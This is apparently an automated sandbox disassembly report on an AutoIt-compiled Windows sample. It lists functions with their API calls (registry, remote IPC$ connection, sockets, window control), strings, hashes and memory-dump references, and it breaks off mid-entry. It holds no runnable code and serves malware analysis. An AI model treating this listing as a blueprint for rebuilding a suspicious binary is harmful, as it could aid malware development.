Opcode ID: 87330bd85457050d8d001bd503310c9181f4b49413e7400704415d1d09c1db33
Instruction ID: 8f4cd15a79a5c361ca25d48ab2bff4b167f1fc28c29fb8e2231bbd202b22560e
Opcode Fuzzy Hash: 87330bd85457050d8d001bd503310c9181f4b49413e7400704415d1d09c1db33
Instruction Fuzzy Hash: 89514771904349EFCB14CFA8CC85EAEBBBAEF48310F14842EF95A97210C731A9408B60

Function 006B4F75 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 006B4F7A

Part of subcall function 0067049F: timeGetTime.WINMM(?,753DB400,00660E7B), ref: 006704A3

Sleep.KERNEL32(0000000A), ref: 006B4FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 006B4FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 006B4FEC
SetActiveWindow.USER32 ref: 006B500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 006B5019
SendMessageW.USER32(00000010,00000000,00000000), ref: 006B5038
Sleep.KERNEL32(000000FA), ref: 006B5043
IsWindow.USER32 ref: 006B504F
EndDialog.USER32(00000000), ref: 006B5060

Strings

@U=u, xrefs: 006B5019, 006B5038
BUTTON, xrefs: 006B4FDE

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: @U=u$BUTTON
API String ID: 1194449130-2582809321
Opcode ID: 7854d6841a37394ef2813e51d084e4c99e28de0285229bc21ea3cee9c8bf38ad
Instruction ID: 80e604648332c01a54b9b3bfdd6da29000110938d18429240c6073fb4e18c8f3
Opcode Fuzzy Hash: 7854d6841a37394ef2813e51d084e4c99e28de0285229bc21ea3cee9c8bf38ad
Instruction Fuzzy Hash: 422192F0A06604AFE7105F24EC89BE63BABEB49745B04A029F103822F1DB758D908775

Function 00656A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00670957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00656B0C,?,00008000), ref: 00670973

Part of subcall function 00654750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00654743,?,?,006537AE,?), ref: 00654770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00656BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00656CFA

Part of subcall function 0065586D: _wcscpy.LIBCMT ref: 006558A5

Part of subcall function 0067363D: _iswctype.LIBCMT ref: 00673645

Strings

Unterminated string, xrefs: 0068E7E4
Bad directive syntax error, xrefs: 0068E79D
Error opening the file, xrefs: 0068E43D, 0068E4B8
EA06, xrefs: 0068E452
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0068E421
AU3!, xrefs: 00656B61
>>>AUTOIT SCRIPT<<<, xrefs: 0068E496

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: c304ae5882a69b8e1737e62e3c1463f251d2d1b7537333b24c9c73b66e849cfe
Instruction ID: 923d06cf76e55249cf8e6181e85e0677ea13b0cfe4582911942e56dfa3f2c64d
Opcode Fuzzy Hash: c304ae5882a69b8e1737e62e3c1463f251d2d1b7537333b24c9c73b66e849cfe
Instruction Fuzzy Hash: 2302CD701083419FC764EF20C8919AFBBF6EF99314F504A1DF88A972A1DB31DA49CB56

Function 006B2D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006B2D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 006B2DDD
GetMenuItemCount.USER32(00715890), ref: 006B2E66
DeleteMenu.USER32(00715890,00000005,00000000,000000F5,?,?), ref: 006B2EF6
DeleteMenu.USER32(00715890,00000004,00000000), ref: 006B2EFE
DeleteMenu.USER32(00715890,00000006,00000000), ref: 006B2F06
DeleteMenu.USER32(00715890,00000003,00000000), ref: 006B2F0E
GetMenuItemCount.USER32(00715890), ref: 006B2F16
SetMenuItemInfoW.USER32(00715890,00000004,00000000,00000030), ref: 006B2F4C
GetCursorPos.USER32(?), ref: 006B2F56
SetForegroundWindow.USER32(00000000), ref: 006B2F5F
TrackPopupMenuEx.USER32(00715890,00000000,?,00000000,00000000,00000000), ref: 006B2F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 006B2F7E

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 7de1892a21be7040382f04e36ccb695c4ef7fab19b916fbe0dbd52bc1b5677d3
Instruction ID: ebeb183715afd8dd3c430e51fe734541f0a18ea019e3da943d9b2e4070fcedfa
Opcode Fuzzy Hash: 7de1892a21be7040382f04e36ccb695c4ef7fab19b916fbe0dbd52bc1b5677d3
Instruction Fuzzy Hash: 5D7106B0641207BAEB218F15DC65FEABFAAFF04314F14421AF615AA2E0C7719C91C754

Function 006C88AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006C88D7
CoInitialize.OLE32(00000000), ref: 006C8904
CoUninitialize.OLE32 ref: 006C890E
GetRunningObjectTable.OLE32(00000000,?), ref: 006C8A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 006C8B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,006E2C0C), ref: 006C8B6F
CoGetObject.OLE32(?,00000000,006E2C0C,?), ref: 006C8B92
SetErrorMode.KERNEL32(00000000), ref: 006C8BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 006C8C25
VariantClear.OLEAUT32(?), ref: 006C8C35

Strings

,,n, xrefs: 006C88C1

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID: ,,n
API String ID: 2395222682-1563246951
Opcode ID: 4cbe8c0faa529bb8b0dacd88d63a52be1ac45ff84f3f3bb6b253835d58874d5b
Instruction ID: f1cb02f380f5bcfc1d09431d3229327ce67de31c05447f31b1c6034bdae20f77
Opcode Fuzzy Hash: 4cbe8c0faa529bb8b0dacd88d63a52be1ac45ff84f3f3bb6b253835d58874d5b
Instruction Fuzzy Hash: C3C115B1604345AFC710DF64C884E6AB7EAFF89748F00491DF98A9B251DB71ED06CB52

Function 006D8645 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 006D86FF

Strings

@U=u, xrefs: 006D8735
hW, xrefs: 006D8681

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: InvalidateRect
String ID: @U=u$hW
API String ID: 634782764-4076565667
Opcode ID: 9612c4472bd6812cbaa4d95a4971ccec716e8e6b8e8f37c42fe538eff6a22926
Instruction ID: 2cb8b270e82b451c315726ca7d9b987c5281e2ea9e3780d796a9215f8a210222
Opcode Fuzzy Hash: 9612c4472bd6812cbaa4d95a4971ccec716e8e6b8e8f37c42fe538eff6a22926
Instruction Fuzzy Hash: 31518030E00244BEDB249B28CC8EFAD7BA7AB05720F604157F911E73A1CB71EA80DB55

Function 006A77DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

_memset.LIBCMT ref: 006A786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 006A78A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 006A78BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 006A78D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 006A7902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 006A792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 006A7935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 006A793A

Strings

\CLSID, xrefs: 006A7822
\IPC$, xrefs: 006A7882
SOFTWARE\Classes\, xrefs: 006A780C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 8517680788be807304cbbaf2b171957b1356bac30ed2da14ffd0c6635f9f999e
Instruction ID: e31d7d1db35ff467c908612125681777ec81cbbf55c541a81416551c892a143e
Opcode Fuzzy Hash: 8517680788be807304cbbaf2b171957b1356bac30ed2da14ffd0c6635f9f999e
Instruction Fuzzy Hash: D7410A72C14229AACB11EB94EC55DEEB7BAFF04351F40412AE805A3261DA345E08CB94

Function 006D0E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,006CFDAD,?,?), ref: 006D0E31

Strings

HKEY_LOCAL_MACHINE, xrefs: 006D0E9A
HKEY_CURRENT_CONFIG, xrefs: 006D0EEE
HKEY_CURRENT_USER, xrefs: 006D0F10
HKEY_CLASSES_ROOT, xrefs: 006D0EC4
HKU, xrefs: 006D0F43
HKCR, xrefs: 006D0ED9
HKCC, xrefs: 006D0EFF
HKLM, xrefs: 006D0EAF
HKCU, xrefs: 006D0F21
HKEY_USERS, xrefs: 006D0F32

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 82a858257dc1362a0d779a4c9aaf00291f926b83f8b6ab860bc01693b52d939e
Instruction ID: b5112c6e8b8dee00bcd68be98f911ca5676bf3fd98584b0d82b93e349e84b431
Opcode Fuzzy Hash: 82a858257dc1362a0d779a4c9aaf00291f926b83f8b6ab860bc01693b52d939e
Instruction Fuzzy Hash: 26415C7190028ACBEF50EF10D856AEF37A6AF11700F64446AFC551B392DB349D1ACBA0

Function 006D7152 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006D716A
CreateMenu.USER32 ref: 006D7185
SetMenu.USER32(?,00000000), ref: 006D7194
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 006D7221
IsMenu.USER32(?), ref: 006D7237
CreatePopupMenu.USER32 ref: 006D7241
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 006D726E
DrawMenuBar.USER32 ref: 006D7276

Strings

0, xrefs: 006D7160
hW, xrefs: 006D71E0, 006D71FD
F, xrefs: 006D7262

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F$hW
API String ID: 176399719-2236178175
Opcode ID: 736213308cefea8c922e89a4bbddc9cc7b0f716d2ae4b78a7b28d0f58f2039ba
Instruction ID: ef326a0fd43d8a64fe3b120d1be5d266487beab998dfddf4cf7c7dae6522f10c
Opcode Fuzzy Hash: 736213308cefea8c922e89a4bbddc9cc7b0f716d2ae4b78a7b28d0f58f2039ba
Instruction Fuzzy Hash: E4415874A01205EFDB20DF64E884EDABBB6FF59310F14412AF906A7361E731AA10CF91

Function 006D74BB Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 006D755E
CreateCompatibleDC.GDI32(00000000), ref: 006D7565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 006D7578
SelectObject.GDI32(00000000,00000000), ref: 006D7580
GetPixel.GDI32(00000000,00000000,00000000), ref: 006D758B
DeleteDC.GDI32(00000000), ref: 006D7594
GetWindowLongW.USER32(?,000000EC), ref: 006D759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 006D75B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 006D75BE

Strings

@U=u, xrefs: 006D7578
static, xrefs: 006D74F6

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: @U=u$static
API String ID: 2559357485-3553413495
Opcode ID: abae23ddd9fde66697034d639e9c2cb6408fadf5343f2c3afd48693819efe03a
Instruction ID: 1571d09ad6687204866abc6cd36cfad773ce24847d9b3614be933acb8f4bb728
Opcode Fuzzy Hash: abae23ddd9fde66697034d639e9c2cb6408fadf5343f2c3afd48693819efe03a
Instruction Fuzzy Hash: 0D319E32905214BBDF119F64EC08FDB3B6AFF09321F114226FA16962E0DB31D821DBA5

Function 006AF7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0068E2A0,00000010,?,Bad directive syntax error,006DF910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 006AF7C2
LoadStringW.USER32(00000000,?,0068E2A0,00000010), ref: 006AF7C9

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

_wprintf.LIBCMT ref: 006AF7FC
__swprintf.LIBCMT ref: 006AF81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 006AF88D

Strings

Line %d (File "%s"):, xrefs: 006AF833
., xrefs: 006AF873
%s (%d) : ==> %s.: %s %s, xrefs: 006AF7F7
Line %d:, xrefs: 006AF818
Error: , xrefs: 006AF85B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: c0ea0fc7d67f140067448c682dd9bab421dcccdfbb298b2970c8d85b85d14abc
Instruction ID: 8b45e9f8b695d1226e6eb6588b0c76d5e90ddaa9ec8e380dadf48bbd96ec9f2f
Opcode Fuzzy Hash: c0ea0fc7d67f140067448c682dd9bab421dcccdfbb298b2970c8d85b85d14abc
Instruction Fuzzy Hash: BF21B47180021EFFCF51EF90CC0AEED777ABF18301F04446AF915661A2DA759A18DB55

Function 006B52C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

Part of subcall function 00657924: _memmove.LIBCMT ref: 006579AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 006B5330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 006B5346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 006B5357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 006B5369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 006B537A

Strings

open , xrefs: 006B52DF
play PlayMe wait, xrefs: 006B5364
status PlayMe mode, xrefs: 006B532B
alias PlayMe, xrefs: 006B5309
close PlayMe, xrefs: 006B5341, 006B536E
play PlayMe, xrefs: 006B5375

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: e378f75177439296e4a18ebbc27072e758964b68aab64456e938ad22ee78b43b
Instruction ID: 4dd51b7dc2ccbe6cac7ed72567213fdebe7a2e2461def28dde714d1cc3f5414f
Opcode Fuzzy Hash: e378f75177439296e4a18ebbc27072e758964b68aab64456e938ad22ee78b43b
Instruction Fuzzy Hash: 5F11C8B0950119B9D7A0B7A1DC49DFF7BFDEB91B41F0005197802921D1EEA00D48C675

Function 006B46B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 006B46D2
gethostname.WSOCK32(?,00000100), ref: 006B46EC
gethostbyname.WSOCK32(?), ref: 006B46F9
_wcscpy.LIBCMT ref: 006B4721
_memmove.LIBCMT ref: 006B4734
inet_ntoa.WSOCK32(?), ref: 006B473F
_strcat.LIBCMT ref: 006B474D
_wcscpy.LIBCMT ref: 006B4764
WSACleanup.WSOCK32 ref: 006B4772
_wcscpy.LIBCMT ref: 006B4780

Strings

0.0.0.0, xrefs: 006B471B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 74662cc4a68c62dc39c3bcf3284e08e668df10a7ef0586a1019b01e2903ea6d4
Instruction ID: e8ccc615aa184d3870a5f3bc1976b133b5542475e0b0051d098e3fd04a3ca850
Opcode Fuzzy Hash: 74662cc4a68c62dc39c3bcf3284e08e668df10a7ef0586a1019b01e2903ea6d4
Instruction Fuzzy Hash: 0411E771904115AFDB60AB309C4AEEA77BEEF02711F0441BAF44A96192EF718AC1C765

Function 006BD58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

CoInitialize.OLE32(00000000), ref: 006BD5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 006BD67D
SHGetDesktopFolder.SHELL32(?), ref: 006BD691
CoCreateInstance.OLE32(006E2D7C,00000000,00000001,00708C1C,?), ref: 006BD6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 006BD74C
CoTaskMemFree.OLE32(?,?), ref: 006BD7A4
_memset.LIBCMT ref: 006BD7E1
SHBrowseForFolderW.SHELL32(?), ref: 006BD81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 006BD840
CoTaskMemFree.OLE32(00000000), ref: 006BD847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 006BD87E
CoUninitialize.OLE32(00000001,00000000), ref: 006BD880

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 2fa0adcf6c77712c01ecde4ce09551073817c7561ffac883c774ce8d6eabc257
Instruction ID: cc5c5f894333c379127f540fe2159ce2f523e4e8007ae1f7b88a0319ed04af89
Opcode Fuzzy Hash: 2fa0adcf6c77712c01ecde4ce09551073817c7561ffac883c774ce8d6eabc257
Instruction Fuzzy Hash: 3EB1FA75A00109AFDB44DFA4C884DAEBBFAEF48305F1484A9F90ADB261DB30ED45CB54

Function 006AC267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 006AC283
GetWindowRect.USER32(00000000,?), ref: 006AC295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 006AC2F3
GetDlgItem.USER32(?,00000002), ref: 006AC2FE
GetWindowRect.USER32(00000000,?), ref: 006AC310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 006AC364
GetDlgItem.USER32(?,000003E9), ref: 006AC372
GetWindowRect.USER32(00000000,?), ref: 006AC383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 006AC3C6
GetDlgItem.USER32(?,000003EA), ref: 006AC3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 006AC3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 006AC3FE

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
